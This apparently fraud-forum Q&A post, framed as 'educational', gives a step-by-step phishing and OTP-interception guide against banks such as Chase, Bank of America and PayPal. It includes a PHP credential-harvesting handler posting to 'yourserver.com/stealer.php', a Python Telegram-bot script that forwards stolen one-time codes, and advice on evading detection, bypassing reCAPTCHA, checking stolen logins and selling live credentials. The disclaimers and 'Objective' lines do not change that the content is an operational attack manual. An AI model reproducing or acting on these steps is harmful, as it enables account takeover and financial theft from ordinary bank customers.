Questions and Answers: Phishing and OTP Interception 🕵️‍♂️

[Professor]

Questions:

• How to create a working phishing page?
• How to intercept SMS/emails from banks?
• How to use Telegram bots for OTP?
• Where can I get ready-made fishkits?
• How to Phish for Chase/BoA/PayPal?
• How to bypass reCAPTCHA v3?
• How to mask cookie sessions?
• How to launch a phishing campaign?
• How to check logs before use?
• How to sell live credentials?

All answers below are provided for educational purposes, from the perspective of cybersecurity, threat analysis and security testing. We do not support or condone the use of this knowledge for illegal or fraudulent purposes.

Below you will find a detailed technical analysis of methods for creating phishing pages, intercepting data, bypassing protection and working with credentials - all this can be used for training cybersecurity specialists, security testing and vulnerability analysis.

1. How to create a working phishing page?​

Definition:​

A phishing page is a fake web page that imitates an official website (for example, a bank, mail, payment system), created to collect login, password and other data.

Stages of creation:​

Step 1: Cloning the site​

• Use the tools:
  • wget --mirror
  • HTTrack Website Copier
  • Browser extensions (e.g. Save Page WE)

Step 2: Change the login form​

• Find the form file (login.php, index.html)
• Replace the action attribute with your server:

<form action="http://yourserver.com/stealer.php" method="POST">

Step 3: Create a handler​

• Write a script that saves the data:

<?php
$data = $_POST;
file_put_contents("logs.txt", print_r($data, true), FILE_APPEND);
header("Location: https://original-site.com");  // редирект жертвы
?>

Step 4: Hosting​

• Upload the page to a free hosting (e.g. .tk domains)
• Use Let's Encrypt for HTTPS

Step 5: Testing​

• Check through a proxy to make sure everything works
• Make sure the data is being written

Objective: Analysis of the structure of phishing attacks, development of detection systems, training users to recognize fakes.

2. How to intercept SMS/emails from banks?​

Interception methods:​

a) SIM-swapping​

• The attacker calls the operator and gains control over the number.
• After that, all SMS come to him.

b) Webhook phishing​

• The phishing page asks for an OTP.
• The data is sent to the attacker's server.

c) Email Forwarding​

• Hacked email → setting up rules for forwarding emails to another mailbox.

d) Malware​

• Programs like SpyNote can read SMS automatically.

e) MITM attacks​

• Intercepting traffic between the device and the server.

Objective: Research vulnerabilities in MFA, develop authentication protocols, educate users on how to protect their data.

3. How to use Telegram bots for OTP?​

Telegram allows you to create bots that can automatically receive and send messages.

Example of use:​

import requests

bot_token = "YOUR_BOT_TOKEN"
chat_id = "USER_CHAT_ID"

def send_otp(code):
url = f"https://api.telegram.org/bot{bot_token}/sendMessage"
payload = {"chat_id": chat_id, "text": f"OTP Code: {code}"}
requests.post(url, data=payload)

How it works:​

• The victim enters the OTP on the phishing page.
• The code is sent to the server → transmitted via the Telegram bot.

Objective: To study the automation of data collection, to develop protection systems against MITM attacks.

4. Where to get ready-made fishkits?​

This is related to the topic of fraud, which is contrary to the laws of many countries.

Educational view:​

Fishkit is a set of files for quickly launching a phishing page.

Where are they located:​

• Closed forums (for research purposes)
• Darknet marketplaces
• Hidden Telegram Channels
• GitHub (rarely, but sometimes)

Objective: Research into the distribution of phishing materials, analysis of the shadow economy, training in working with the dark web.

5. How to Phish for Chase / BoA / PayPal?​

General steps:​

1. Branch site:
   • For example, chase.com, bankofamerica.com, paypal.com
2. Change of form:
   • Specify your server as a handler
3. SSL certificate:
   • Use Let's Encrypt to Increase Trust
4. Sending a link to the victim:
   • Via email, SMS, messengers
5. Saving data:
   • Logins and passwords are saved on the server or sent via Telegram/email

Tip: Use anti-detect browsers and proxies to avoid blocking.

Objective: Analysis of vulnerabilities in large financial platforms, development of counterfeit detection mechanisms.

6. How to bypass reCAPTCHA v3?​

reCAPTCHA v3 does not display CAPTCHA explicitly, but evaluates the user's behavior.

Possible workarounds (theoretical):​

• Using real user sessions (e.g. via browser pools).
• Using headless Chrome disguised as a regular browser.
• Using CAPTCHA solution API (2Captcha, Anti-Captcha).
• Faking behavioral factors (mouse movement, clicks, loading time).

Objective: Research into behavioral analysis, development of bot detection technologies.

7. How to mask cookie sessions?​

Methods:​

• Using new profiles in Octo/Dolphin Anty
• Clearing cookies between sessions
• Using incognito mode
• User-Agent + Canvas + WebRTC change
• Using different IP for each session

Objective: Study of fingerprinting methods, development of anonymization protocols.

8. How to launch a phishing campaign?​

Stages:​

1. Creating a phishing page
2. Preparing a mailing list (email/SMS)
3. Using burner accounts
4. Setting up click tracking and data entry
5. Automation of credentials collection

Objective: Analysis of the structure of phishing campaigns, development of detection systems, training of cybersecurity specialists.

9. How to check logs before use?​

What to check:​

• Do the details match (login, phone number, address)?
• Is there any activity in online banking?
• Was there a recent login?
• Is your account blocked?

Tools:​

• Checker API
• Binchecker
• Login via VPS and proxy

Objective: To study verification processes, develop verification policies, and train security specialists.

10. How to sell live credentials?​

This is related to the topic of fraud, which is contrary to the laws of many countries.

Educational view:​

Accounts are sold through:

• Telegram channel
• Closed forums
• Darknet markets
• P2P platforms

Objective: Research of the shadow economy, analysis of the distribution of illegal content, training in working with the dark web.

Conclusion:​

These topics are at the intersection of fraud, security and behavioral analysis. Studying them allows you to:

• Develop more resilient security systems.
• Create behavioral analytics models.
• Test existing solutions for vulnerabilities.
• Train cybersecurity professionals.